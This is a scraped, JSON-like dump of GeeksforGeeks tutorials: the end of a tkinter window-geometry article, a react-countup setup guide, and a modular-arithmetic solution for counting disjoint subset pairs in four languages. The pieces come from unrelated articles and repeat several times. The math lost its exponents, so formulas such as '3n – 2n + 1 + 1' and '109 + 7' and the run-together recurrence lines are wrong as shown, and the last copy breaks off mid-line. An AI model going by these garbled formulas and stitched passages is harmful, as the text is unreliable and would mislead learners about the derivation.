{ "code": "# importing only those functions which# are neededfrom tkinter import Tk, mainloop, TOPfrom tkinter.ttk import Button # creating tkinter windowroot = Tk() # creating fixed geometry of the# tkinter window with dimensions 150x200root.geometry('200x150 + 400 + 300') # Create Button and add some textbutton = Button(root, text = 'Geeks')button.pack(side = TOP, pady = 5) # Execute Tkinterroot.mainloop()", "e": 27625, "s": 27220, "text": null }, { "code": null, "e": 27635, "s": 27625, "text": "Output: " }, { "code": null, "e": 27994, "s": 27635, "text": "When you run the application, you’ll observe that the position and size both are changed. Now the Tkinter window is appearing at a different position (300 shifted on Y-axis and 400 shifted on X-axis).Note: We can also pass a variable argument in the geometry method, but it should be in the form (variable1) x (variable2); otherwise, it will raise an error. " }, { "code": null, "e": 28005, "s": 27994, "text": "abergquist" }, { "code": null, "e": 28014, "s": 28005, "text": "abhigoya" }, { "code": null, "e": 28025, "s": 28014, "text": "Python-gui" }, { "code": null, "e": 28040, "s": 28025, "text": "Python-tkinter" }, { "code": null, "e": 28047, "s": 28040, "text": "Python" }, { "code": null, "e": 28145, "s": 28047, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28163, "s": 28145, "text": "Python Dictionary" }, { "code": null, "e": 28195, "s": 28163, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 28237, "s": 28195, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 28263, "s": 28237, "text": "Python String | replace()" }, { "code": null, "e": 28292, "s": 28263, "text": "*args and **kwargs in Python" }, { "code": null, "e": 28336, "s": 28292, "text": "Reading and Writing to text files in Python" }, { "code": null, "e": 28373, "s": 28336, "text": "Create a Pandas DataFrame from Lists" }, { "code": null, "e": 28409, "s": 28373, "text": "Convert integer to string in Python" }, { "code": null, "e": 28451, "s": 28409, "text": "Check if element exists in list in Python" } ]
How to use react-countup module in ReactJS ? - GeeksforGeeks
19 Feb, 2021 In our React app sometimes we want, a number to be displayed in an increasing manner from zero to its original value in these cases react-countup comes into action. It is an npm package we need to install for using countup functionality. Creating React Application And Installing Module: Step 1: Create a React application using the following command: npx create-react-app foldername Step 2: After creating your project folder i.e. foldername, move to it using the following command: cd foldername Step 3: After creating the ReactJS application, Install the react-countup modules using the following command: npm install react-countup Project structure: Example: Now write down the following code in the App.js file. Here, App is our default component where we have written our code. App.js import React from 'react';import CountUp from 'react-countup'; function App() { return ( <div className="App"> <h1>GEEKSFORGEEKS</h1> <div style={{fontSize:'150px' }}> <CountUp start={0} end={100000} duration={3} /> </div> </div> );} export default App; Step to Run Application: Run the application using the following command from the root directory of the project: npm start Output: Now open your browser and go to http://localhost:3000/, you will see the following output: React-Questions Technical Scripter 2020 ReactJS Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. ReactJS useNavigate() Hook How to set background images in ReactJS ? Axios in React: A Guide for Beginners How to create a table in ReactJS ? How to navigate on path by button click in react router ? Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to insert spaces/tabs in text using HTML/CSS? Difference between var, let and const keywords in JavaScript
[ { "code": null, "e": 26095, "s": 26067, "text": "\n19 Feb, 2021" }, { "code": null, "e": 26333, "s": 26095, "text": "In our React app sometimes we want, a number to be displayed in an increasing manner from zero to its original value in these cases react-countup comes into action. It is an npm package we need to install for using countup functionality." }, { "code": null, "e": 26383, "s": 26333, "text": "Creating React Application And Installing Module:" }, { "code": null, "e": 26447, "s": 26383, "text": "Step 1: Create a React application using the following command:" }, { "code": null, "e": 26479, "s": 26447, "text": "npx create-react-app foldername" }, { "code": null, "e": 26579, "s": 26479, "text": "Step 2: After creating your project folder i.e. foldername, move to it using the following command:" }, { "code": null, "e": 26593, "s": 26579, "text": "cd foldername" }, { "code": null, "e": 26704, "s": 26593, "text": "Step 3: After creating the ReactJS application, Install the react-countup modules using the following command:" }, { "code": null, "e": 26730, "s": 26704, "text": "npm install react-countup" }, { "code": null, "e": 26749, "s": 26730, "text": "Project structure:" }, { "code": null, "e": 26879, "s": 26749, "text": "Example: Now write down the following code in the App.js file. Here, App is our default component where we have written our code." }, { "code": null, "e": 26886, "s": 26879, "text": "App.js" }, { "code": "import React from 'react';import CountUp from 'react-countup'; function App() { return ( <div className=\"App\"> <h1>GEEKSFORGEEKS</h1> <div style={{fontSize:'150px' }}> <CountUp start={0} end={100000} duration={3} /> </div> </div> );} export default App;", "e": 27210, "s": 26886, "text": null }, { "code": null, "e": 27323, "s": 27210, "text": "Step to Run Application: Run the application using the following command from the root directory of the project:" }, { "code": null, "e": 27333, "s": 27323, "text": "npm start" }, { "code": null, "e": 27432, "s": 27333, "text": "Output: Now open your browser and go to http://localhost:3000/, you will see the following output:" }, { "code": null, "e": 27448, "s": 27432, "text": "React-Questions" }, { "code": null, "e": 27472, "s": 27448, "text": "Technical Scripter 2020" }, { "code": null, "e": 27480, "s": 27472, "text": "ReactJS" }, { "code": null, "e": 27497, "s": 27480, "text": "Web Technologies" }, { "code": null, "e": 27595, "s": 27497, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27622, "s": 27595, "text": "ReactJS useNavigate() Hook" }, { "code": null, "e": 27664, "s": 27622, "text": "How to set background images in ReactJS ?" }, { "code": null, "e": 27702, "s": 27664, "text": "Axios in React: A Guide for Beginners" }, { "code": null, "e": 27737, "s": 27702, "text": "How to create a table in ReactJS ?" }, { "code": null, "e": 27795, "s": 27737, "text": "How to navigate on path by button click in react router ?" }, { "code": null, "e": 27835, "s": 27795, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 27868, "s": 27835, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 27913, "s": 27868, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 27963, "s": 27913, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
Count of all possible pairs of disjoint subsets of integers from 1 to N - GeeksforGeeks
30 Aug, 2019 Given an integer N. Consider the set of first N natural numbers A = {1, 2, 3, ..., N}. Let M and P be two non-empty subsets of A. The task is to count the number of unordered pairs of (M, P) such that M and P are disjoint sets. Note that the order of M and P doesn’t matter. Examples: Input: N = 3Output: 6The unordered pairs are ({1}, {2}), ({1}, {3}),({2}, {3}), ({1}, {2, 3}), ({2}, {1, 3}), ({3}, {1, 2}). Input: N = 2Output: 1 Input: N = 10Output: 28501 Approach: Lets assume there are only 6 elements in the set {1, 2, 3, 4, 5, 6}.When you count the number of subsets with 1 as one of the element of first subset, it comes out to be 211.Counting number of subsets with 2 being one of the element of first subset, it comes out to be 65, because 1’s not included as order of sets doesn’t matter.Counting number of subset with 3 being one of the element of first set it comes out to be 65, here a pattern can be observed.Pattern:5 = 3 * 1 + 219 = 3 * 5 + 465 = 3 * 19 + 8211 = 3 * 65 + 16S(n) = 3 * S(n-1) + 2(n – 2)Expanding it until n->2 (means numbers of elements n-2+1=n-1)2(n-2) * 3(0) + 2(n – 3) * 31 + 2(n – 4) * 32 + 2(n – 5) * 33 + ... + 2(0) * 3(n – 2)From Geometric progression, a + a * r0 + a * r1 + ... + a * r(n – 1) = a * (rn – 1) / (r – 1)S(n) = 3(n – 1) – 2(n – 1). Remember S(n) is number of subsets with 1 as a one of the elements of first subset but to get the required result, Denoted by T(n) = S(1) + S(2) + S(3) + ... +S(n)It also forms a Geometric progression, so we calculate it by formula of sum of GPT(n) = (3n – 2n + 1 + 1)/2As we require T(n) % p where p = 109 + 7We have to use Fermats’s little theorema-1 = a(m – 2) (mod m) for modular divisionBelow is the implementation of the above approach:C++JavaPython3C#C++// C++ implementation of the approach #include <bits/stdc++.h>using namespace std;#define p 1000000007 // Modulo exponentiation functionlong long power(long long x, long long y){ // Function to calculate (x^y)%p in O(log(y)) long long res = 1; x = x % p; while (y > 0) { if (y & 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver functionint main(){ long long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats’s little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; cout << x << "\n";}Java// Java implementation of the approachclass GFG { static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codepublic static void main(String[] args) { long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; System.out.println(x);}} // This code is contributed by Rajput-JiPython3# Python3 implementation of the approachp = 1000000007 # Modulo exponentiation functiondef power(x, y): # Function to calculate (x^y)%p in O(log(y)) res = 1 x = x % p while (y > 0): if (y & 1): res = (res * x) % p; y = y >> 1 x = (x * x) % p return res % p # Driver Coden = 3 # Evaluating ((3^n-2^(n+1)+1)/2)%px = (power(3, n) % p + 1) % p x = (x - power(2, n + 1) + p) % p # From Fermats’s little theorem# a^-1 ? a^(m-2) (mod m)x = (x * power(2, p - 2)) % p print(x) # This code is contributed by Mohit KumarC#// C# implementation of the approachusing System; class GFG{static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codestatic public void Main (){ long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; Console.Write(x);}} // This code is contributed by ajit.Output:6 My Personal Notes arrow_drop_upSave Lets assume there are only 6 elements in the set {1, 2, 3, 4, 5, 6}. When you count the number of subsets with 1 as one of the element of first subset, it comes out to be 211. Counting number of subsets with 2 being one of the element of first subset, it comes out to be 65, because 1’s not included as order of sets doesn’t matter. Counting number of subset with 3 being one of the element of first set it comes out to be 65, here a pattern can be observed. Pattern:5 = 3 * 1 + 219 = 3 * 5 + 465 = 3 * 19 + 8211 = 3 * 65 + 16S(n) = 3 * S(n-1) + 2(n – 2) 5 = 3 * 1 + 219 = 3 * 5 + 465 = 3 * 19 + 8211 = 3 * 65 + 16S(n) = 3 * S(n-1) + 2(n – 2) Expanding it until n->2 (means numbers of elements n-2+1=n-1)2(n-2) * 3(0) + 2(n – 3) * 31 + 2(n – 4) * 32 + 2(n – 5) * 33 + ... + 2(0) * 3(n – 2)From Geometric progression, a + a * r0 + a * r1 + ... + a * r(n – 1) = a * (rn – 1) / (r – 1) S(n) = 3(n – 1) – 2(n – 1). Remember S(n) is number of subsets with 1 as a one of the elements of first subset but to get the required result, Denoted by T(n) = S(1) + S(2) + S(3) + ... +S(n) It also forms a Geometric progression, so we calculate it by formula of sum of GPT(n) = (3n – 2n + 1 + 1)/2 As we require T(n) % p where p = 109 + 7We have to use Fermats’s little theorema-1 = a(m – 2) (mod m) for modular divisionBelow is the implementation of the above approach:C++JavaPython3C#C++// C++ implementation of the approach #include <bits/stdc++.h>using namespace std;#define p 1000000007 // Modulo exponentiation functionlong long power(long long x, long long y){ // Function to calculate (x^y)%p in O(log(y)) long long res = 1; x = x % p; while (y > 0) { if (y & 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver functionint main(){ long long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats’s little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; cout << x << "\n";}Java// Java implementation of the approachclass GFG { static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codepublic static void main(String[] args) { long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; System.out.println(x);}} // This code is contributed by Rajput-JiPython3# Python3 implementation of the approachp = 1000000007 # Modulo exponentiation functiondef power(x, y): # Function to calculate (x^y)%p in O(log(y)) res = 1 x = x % p while (y > 0): if (y & 1): res = (res * x) % p; y = y >> 1 x = (x * x) % p return res % p # Driver Coden = 3 # Evaluating ((3^n-2^(n+1)+1)/2)%px = (power(3, n) % p + 1) % p x = (x - power(2, n + 1) + p) % p # From Fermats’s little theorem# a^-1 ? a^(m-2) (mod m)x = (x * power(2, p - 2)) % p print(x) # This code is contributed by Mohit KumarC#// C# implementation of the approachusing System; class GFG{static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codestatic public void Main (){ long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; Console.Write(x);}} // This code is contributed by ajit.Output:6 My Personal Notes arrow_drop_upSave Below is the implementation of the above approach:C++JavaPython3C#C++// C++ implementation of the approach #include <bits/stdc++.h>using namespace std;#define p 1000000007 // Modulo exponentiation functionlong long power(long long x, long long y){ // Function to calculate (x^y)%p in O(log(y)) long long res = 1; x = x % p; while (y > 0) { if (y & 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver functionint main(){ long long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats’s little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; cout << x << "\n";}Java// Java implementation of the approachclass GFG { static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codepublic static void main(String[] args) { long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; System.out.println(x);}} // This code is contributed by Rajput-JiPython3# Python3 implementation of the approachp = 1000000007 # Modulo exponentiation functiondef power(x, y): # Function to calculate (x^y)%p in O(log(y)) res = 1 x = x % p while (y > 0): if (y & 1): res = (res * x) % p; y = y >> 1 x = (x * x) % p return res % p # Driver Coden = 3 # Evaluating ((3^n-2^(n+1)+1)/2)%px = (power(3, n) % p + 1) % p x = (x - power(2, n + 1) + p) % p # From Fermats’s little theorem# a^-1 ? a^(m-2) (mod m)x = (x * power(2, p - 2)) % p print(x) # This code is contributed by Mohit KumarC#// C# implementation of the approachusing System; class GFG{static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codestatic public void Main (){ long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; Console.Write(x);}} // This code is contributed by ajit.Output:6 My Personal Notes arrow_drop_upSave Below is the implementation of the above approach: C++ Java Python3 C# // C++ implementation of the approach #include <bits/stdc++.h>using namespace std;#define p 1000000007 // Modulo exponentiation functionlong long power(long long x, long long y){ // Function to calculate (x^y)%p in O(log(y)) long long res = 1; x = x % p; while (y > 0) { if (y & 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver functionint main(){ long long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats’s little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; cout << x << "\n";} // Java implementation of the approachclass GFG { static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codepublic static void main(String[] args) { long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; System.out.println(x);}} // This code is contributed by Rajput-Ji # Python3 implementation of the approachp = 1000000007 # Modulo exponentiation functiondef power(x, y): # Function to calculate (x^y)%p in O(log(y)) res = 1 x = x % p while (y > 0): if (y & 1): res = (res * x) % p; y = y >> 1 x = (x * x) % p return res % p # Driver Coden = 3 # Evaluating ((3^n-2^(n+1)+1)/2)%px = (power(3, n) % p + 1) % p x = (x - power(2, n + 1) + p) % p # From Fermats’s little theorem# a^-1 ? a^(m-2) (mod m)x = (x * power(2, p - 2)) % p print(x) # This code is contributed by Mohit Kumar // C# implementation of the approachusing System; class GFG{static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codestatic public void Main (){ long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; Console.Write(x);}} // This code is contributed by ajit. 6 mohit kumar 29 Rajput-Ji jit_t number-theory subset Mathematical number-theory Mathematical subset Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Program to print prime numbers from 1 to N. Segment Tree | Set 1 (Sum of given range) Count all possible paths from top left to bottom right of a mXn matrix Modular multiplicative inverse Program to multiply two matrices Fizz Buzz Implementation Check if a number is Palindrome Count ways to reach the n'th stair Merge two sorted arrays with O(1) extra space Min Cost Path | DP-6
[ { "code": null, "e": 25937, "s": 25909, "text": "\n30 Aug, 2019" }, { "code": null, "e": 26212, "s": 25937, "text": "Given an integer N. Consider the set of first N natural numbers A = {1, 2, 3, ..., N}. Let M and P be two non-empty subsets of A. The task is to count the number of unordered pairs of (M, P) such that M and P are disjoint sets. Note that the order of M and P doesn’t matter." }, { "code": null, "e": 26222, "s": 26212, "text": "Examples:" }, { "code": null, "e": 26347, "s": 26222, "text": "Input: N = 3Output: 6The unordered pairs are ({1}, {2}), ({1}, {3}),({2}, {3}), ({1}, {2, 3}), ({2}, {1, 3}), ({3}, {1, 2})." }, { "code": null, "e": 26369, "s": 26347, "text": "Input: N = 2Output: 1" }, { "code": null, "e": 26396, "s": 26369, "text": "Input: N = 10Output: 28501" }, { "code": null, "e": 26406, "s": 26396, "text": "Approach:" }, { "code": null, "e": 30501, "s": 26406, "text": "Lets assume there are only 6 elements in the set {1, 2, 3, 4, 5, 6}.When you count the number of subsets with 1 as one of the element of first subset, it comes out to be 211.Counting number of subsets with 2 being one of the element of first subset, it comes out to be 65, because 1’s not included as order of sets doesn’t matter.Counting number of subset with 3 being one of the element of first set it comes out to be 65, here a pattern can be observed.Pattern:5 = 3 * 1 + 219 = 3 * 5 + 465 = 3 * 19 + 8211 = 3 * 65 + 16S(n) = 3 * S(n-1) + 2(n – 2)Expanding it until n->2 (means numbers of elements n-2+1=n-1)2(n-2) * 3(0) + 2(n – 3) * 31 + 2(n – 4) * 32 + 2(n – 5) * 33 + ... + 2(0) * 3(n – 2)From Geometric progression, a + a * r0 + a * r1 + ... + a * r(n – 1) = a * (rn – 1) / (r – 1)S(n) = 3(n – 1) – 2(n – 1). Remember S(n) is number of subsets with 1 as a one of the elements of first subset but to get the required result, Denoted by T(n) = S(1) + S(2) + S(3) + ... +S(n)It also forms a Geometric progression, so we calculate it by formula of sum of GPT(n) = (3n – 2n + 1 + 1)/2As we require T(n) % p where p = 109 + 7We have to use Fermats’s little theorema-1 = a(m – 2) (mod m) for modular divisionBelow is the implementation of the above approach:C++JavaPython3C#C++// C++ implementation of the approach #include <bits/stdc++.h>using namespace std;#define p 1000000007 // Modulo exponentiation functionlong long power(long long x, long long y){ // Function to calculate (x^y)%p in O(log(y)) long long res = 1; x = x % p; while (y > 0) { if (y & 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver functionint main(){ long long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats’s little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; cout << x << \"\\n\";}Java// Java implementation of the approachclass GFG { static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codepublic static void main(String[] args) { long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; System.out.println(x);}} // This code is contributed by Rajput-JiPython3# Python3 implementation of the approachp = 1000000007 # Modulo exponentiation functiondef power(x, y): # Function to calculate (x^y)%p in O(log(y)) res = 1 x = x % p while (y > 0): if (y & 1): res = (res * x) % p; y = y >> 1 x = (x * x) % p return res % p # Driver Coden = 3 # Evaluating ((3^n-2^(n+1)+1)/2)%px = (power(3, n) % p + 1) % p x = (x - power(2, n + 1) + p) % p # From Fermats’s little theorem# a^-1 ? a^(m-2) (mod m)x = (x * power(2, p - 2)) % p print(x) # This code is contributed by Mohit KumarC#// C# implementation of the approachusing System; class GFG{static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codestatic public void Main (){ long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; Console.Write(x);}} // This code is contributed by ajit.Output:6\nMy Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 30570, "s": 30501, "text": "Lets assume there are only 6 elements in the set {1, 2, 3, 4, 5, 6}." }, { "code": null, "e": 30677, "s": 30570, "text": "When you count the number of subsets with 1 as one of the element of first subset, it comes out to be 211." }, { "code": null, "e": 30834, "s": 30677, "text": "Counting number of subsets with 2 being one of the element of first subset, it comes out to be 65, because 1’s not included as order of sets doesn’t matter." }, { "code": null, "e": 30960, "s": 30834, "text": "Counting number of subset with 3 being one of the element of first set it comes out to be 65, here a pattern can be observed." }, { "code": null, "e": 31056, "s": 30960, "text": "Pattern:5 = 3 * 1 + 219 = 3 * 5 + 465 = 3 * 19 + 8211 = 3 * 65 + 16S(n) = 3 * S(n-1) + 2(n – 2)" }, { "code": null, "e": 31144, "s": 31056, "text": "5 = 3 * 1 + 219 = 3 * 5 + 465 = 3 * 19 + 8211 = 3 * 65 + 16S(n) = 3 * S(n-1) + 2(n – 2)" }, { "code": null, "e": 31384, "s": 31144, "text": "Expanding it until n->2 (means numbers of elements n-2+1=n-1)2(n-2) * 3(0) + 2(n – 3) * 31 + 2(n – 4) * 32 + 2(n – 5) * 33 + ... + 2(0) * 3(n – 2)From Geometric progression, a + a * r0 + a * r1 + ... + a * r(n – 1) = a * (rn – 1) / (r – 1)" }, { "code": null, "e": 31576, "s": 31384, "text": "S(n) = 3(n – 1) – 2(n – 1). Remember S(n) is number of subsets with 1 as a one of the elements of first subset but to get the required result, Denoted by T(n) = S(1) + S(2) + S(3) + ... +S(n)" }, { "code": null, "e": 31684, "s": 31576, "text": "It also forms a Geometric progression, so we calculate it by formula of sum of GPT(n) = (3n – 2n + 1 + 1)/2" }, { "code": null, "e": 34692, "s": 31684, "text": "As we require T(n) % p where p = 109 + 7We have to use Fermats’s little theorema-1 = a(m – 2) (mod m) for modular divisionBelow is the implementation of the above approach:C++JavaPython3C#C++// C++ implementation of the approach #include <bits/stdc++.h>using namespace std;#define p 1000000007 // Modulo exponentiation functionlong long power(long long x, long long y){ // Function to calculate (x^y)%p in O(log(y)) long long res = 1; x = x % p; while (y > 0) { if (y & 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver functionint main(){ long long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats’s little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; cout << x << \"\\n\";}Java// Java implementation of the approachclass GFG { static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codepublic static void main(String[] args) { long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; System.out.println(x);}} // This code is contributed by Rajput-JiPython3# Python3 implementation of the approachp = 1000000007 # Modulo exponentiation functiondef power(x, y): # Function to calculate (x^y)%p in O(log(y)) res = 1 x = x % p while (y > 0): if (y & 1): res = (res * x) % p; y = y >> 1 x = (x * x) % p return res % p # Driver Coden = 3 # Evaluating ((3^n-2^(n+1)+1)/2)%px = (power(3, n) % p + 1) % p x = (x - power(2, n + 1) + p) % p # From Fermats’s little theorem# a^-1 ? a^(m-2) (mod m)x = (x * power(2, p - 2)) % p print(x) # This code is contributed by Mohit KumarC#// C# implementation of the approachusing System; class GFG{static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codestatic public void Main (){ long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; Console.Write(x);}} // This code is contributed by ajit.Output:6\nMy Personal Notes\narrow_drop_upSave" }, { "code": null, "e": 37578, "s": 34692, "text": "Below is the implementation of the above approach:C++JavaPython3C#C++// C++ implementation of the approach #include <bits/stdc++.h>using namespace std;#define p 1000000007 // Modulo exponentiation functionlong long power(long long x, long long y){ // Function to calculate (x^y)%p in O(log(y)) long long res = 1; x = x % p; while (y > 0) { if (y & 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver functionint main(){ long long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats’s little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; cout << x << \"\\n\";}Java// Java implementation of the approachclass GFG { static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codepublic static void main(String[] args) { long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % p; x = (x - power(2, n + 1) + p) % p; // From Fermats's little theorem // a^-1 ? a^(m-2) (mod m) x = (x * power(2, p - 2)) % p; System.out.println(x);}} // This code is contributed by Rajput-JiPython3# Python3 implementation of the approachp = 1000000007 # Modulo exponentiation functiondef power(x, y): # Function to calculate (x^y)%p in O(log(y)) res = 1 x = x % p while (y > 0): if (y & 1): res = (res * x) % p; y = y >> 1 x = (x * x) % p return res % p # Driver Coden = 3 # Evaluating ((3^n-2^(n+1)+1)/2)%px = (power(3, n) % p + 1) % p x = (x - power(2, n + 1) + p) % p # From Fermats’s little theorem# a^-1 ? a^(m-2) (mod m)x = (x * power(2, p - 2)) % p print(x) # This code is contributed by Mohit KumarC#// C# implementation of the approachusing System; class GFG{static int p = 1000000007; // Modulo exponentiation functionstatic long power(long x, long y){ // Function to calculate (x^y)%p in O(log(y)) long res = 1; x = x % p; while (y > 0) { if (y % 2 == 1) res = (res * x) % p; y = y >> 1; x = (x * x) % p; } return res % p;} // Driver Codestatic public void Main (){ long n = 3; // Evaluating ((3^n-2^(n+1)+1)/2)%p long x = (power(3, n) % p + 1) % 